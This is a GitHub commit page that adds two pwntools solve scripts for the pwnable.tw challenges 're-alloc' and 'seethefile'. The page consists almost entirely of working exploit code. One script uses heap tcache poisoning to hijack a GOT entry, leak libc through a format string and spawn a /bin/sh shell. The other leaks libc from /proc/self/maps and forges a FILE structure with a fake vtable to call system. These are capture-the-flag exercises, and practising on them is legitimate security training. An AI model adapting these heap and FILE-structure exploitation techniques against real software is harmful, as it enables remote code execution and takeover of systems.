Skip to content
This repository was archived by the owner on Oct 24, 2021. It is now read-only.

Commit 40a073f

Browse files
committed
some more writueps
1 parent 0a5d3c3 commit 40a073f

File tree

4 files changed

+481
-0
lines changed

4 files changed

+481
-0
lines changed

pwnabletw/re-alloc/solve.py

+132
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
from pwn import *
2+
3+
e = ELF("./re-alloc")
4+
libc = ELF("./libc.so.6")
5+
ld = ELF("./ld-2.29.so")
6+
7+
context.binary = e
8+
context.terminal = ["konsole", "-e"]
9+
10+
11+
12+
13+
def alloc(idx, size, data):
14+
p.sendlineafter(":", "1")
15+
p.sendlineafter(":", str(idx))
16+
p.sendlineafter(":", str(size))
17+
p.sendafter(":", data)
18+
19+
20+
21+
def realloc1(idx, size):
22+
p.sendlineafter(":", "2")
23+
p.sendlineafter(":", str(idx))
24+
p.sendlineafter(":", str(size))
25+
26+
27+
28+
29+
def realloc2(idx, size, data):
30+
p.sendlineafter(":", "2")
31+
p.sendlineafter(":", str(idx))
32+
p.sendlineafter(":", str(size))
33+
p.sendafter(":", data)
34+
35+
36+
37+
def free(idx):
38+
p.sendlineafter(":", "3")
39+
p.sendlineafter(":", str(idx))
40+
41+
42+
#p = process([ld.path, e.path], env={"LD_PRELOAD": libc.path})
43+
p = remote("chall.pwnable.tw", 10106)
44+
45+
context.log_level="debug"
46+
gdb.attach(p, """c""")
47+
48+
49+
50+
51+
# tcache poison 0x20
52+
alloc(1, 0x10, "BBBB")
53+
54+
realloc1(1, 0)
55+
56+
realloc2(1, 0x10, p64(e.got["atoll"]))
57+
58+
alloc(0, 0x10, "AAAA")
59+
60+
61+
realloc2(1, 0x60, "CCCC")
62+
63+
64+
free(1)
65+
66+
67+
realloc2(0, 0x70, p64(e.got["atoll"]))
68+
69+
free(0)
70+
71+
72+
# tcache poison 0x30
73+
alloc(0, 0x20, "BBBB")
74+
75+
realloc1(0, 0)
76+
77+
realloc2(0, 0x20, p64(e.got["atoll"]))
78+
79+
alloc(1, 0x20, "AAAA")
80+
81+
82+
realloc2(0, 0x60, "CCCC")
83+
84+
85+
free(0)
86+
87+
88+
realloc2(1, 0x70, p64(e.got["atoll"]))
89+
90+
free(1)
91+
92+
93+
94+
# leak libc
95+
print("binary atoll", hex(e.got["atoll"]))
96+
print("binary arr at", hex(0x004040b0))
97+
98+
alloc(0, 0x20, p64(e.plt["printf"]))
99+
100+
101+
p.sendlineafter(":", "1")
102+
p.sendafter(":", "%p %p |%p|")
103+
104+
105+
106+
107+
# write system
108+
p.recvuntil("|")
109+
dat = p.recvuntil("|")[:-1]
110+
libc.address = eval(dat) - 0x12e009
111+
112+
113+
p.sendlineafter("choice:", "1")
114+
p.sendafter(":", "A")
115+
p.sendlineafter(":", "A"*15)
116+
117+
print("libc system", hex(libc.sym["system"]))
118+
p.sendafter(":", p64(libc.sym["system"]))
119+
120+
121+
p.sendlineafter(":", "1")
122+
p.sendafter(":", "/bin/sh\x00")
123+
124+
p.interactive()
125+
126+
127+
128+
129+
130+
131+
132+

pwnabletw/seethefile/solve.py

+143
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
from pwn import *
2+
3+
e = ELF("./seethefile")
4+
libc = ELF("./libc.so.6")
5+
ld = ELF("./ld-2.23.so")
6+
7+
context.binary = e
8+
context.terminal = ["konsole", "-e"]
9+
10+
p = process([e.path])
11+
p = remote("chall.pwnable.tw", 10200)
12+
13+
context.log_level="debug"
14+
gdb.attach(p, """break * main+216""")
15+
16+
17+
def open_file(n):
18+
p.sendlineafter(":", "1")
19+
p.sendlineafter(":", n)
20+
21+
22+
def read_file():
23+
p.sendlineafter(":", "2")
24+
25+
26+
def write_file():
27+
p.sendlineafter(":", "3")
28+
29+
30+
def close_file():
31+
p.sendlineafter(":", "4")
32+
33+
34+
def exit_out(n):
35+
p.sendlineafter(":", "5")
36+
p.sendlineafter(":", n)
37+
38+
39+
open_file("/proc/self/maps")
40+
41+
read_file()
42+
43+
write_file()
44+
45+
read_file()
46+
47+
write_file()
48+
49+
50+
51+
p.recvuntil("libc")
52+
p.recvuntil("f7")
53+
libc.address = int("f7"+p.recv(6).strip(), 16) - 0x1ad000
54+
55+
56+
print("libc base", hex(libc.address))
57+
58+
59+
60+
close_file()
61+
62+
63+
64+
65+
66+
67+
name_addr = 0x0804b260
68+
69+
70+
71+
72+
#generated_vtable = ''.join(p64(i) for i in vtable)
73+
74+
name_filler = "\x00"*16 + p32(libc.sym["system"])
75+
76+
name_filler = name_filler.ljust(32, "\x00")
77+
78+
79+
f_obj = "\x01\x01;/bin/sh"
80+
81+
f_obj += p8(0)*2
82+
f_obj += p32(0)
83+
f_obj += p32(0)
84+
f_obj += p32(0)
85+
f_obj += p32(0)
86+
f_obj += p32(0)
87+
f_obj += p32(0)
88+
f_obj += p32(0)
89+
f_obj += p32(0)
90+
f_obj += p32(0)
91+
92+
f_obj += p32(0)
93+
f_obj += p32(0)
94+
f_obj += p32(0)
95+
96+
f_obj += p32(0)
97+
98+
f_obj += p32(0)
99+
f_obj += p32(0)
100+
101+
f_obj += p32(0x0804bf01)
102+
103+
f_obj += p32(0)
104+
f_obj += p32(0)
105+
f_obj += p32(0)
106+
107+
f_obj += p32(0)
108+
109+
f_obj += p32(0)
110+
f_obj += p32(0)
111+
f_obj += p32(0)
112+
f_obj += p32(0)
113+
f_obj += p32(0)
114+
115+
f_obj += p32(name_addr+48+len(f_obj)+8)
116+
117+
118+
119+
120+
print("exit@libc", hex(libc.sym["exit"]))
121+
print("system@libc", hex(libc.sym["system"]))
122+
print("fclose@libc", hex(libc.sym["fclose"]))
123+
124+
125+
126+
127+
128+
exit_out(name_filler + p64(name_addr+48) + p64(0x4141414141414141) + f_obj + p32(0) + "A"*28 + p32(name_addr+16-8))
129+
130+
131+
132+
133+
134+
135+
136+
137+
p.interactive()
138+
139+
140+
141+
142+
143+

0 commit comments

Comments
 (0)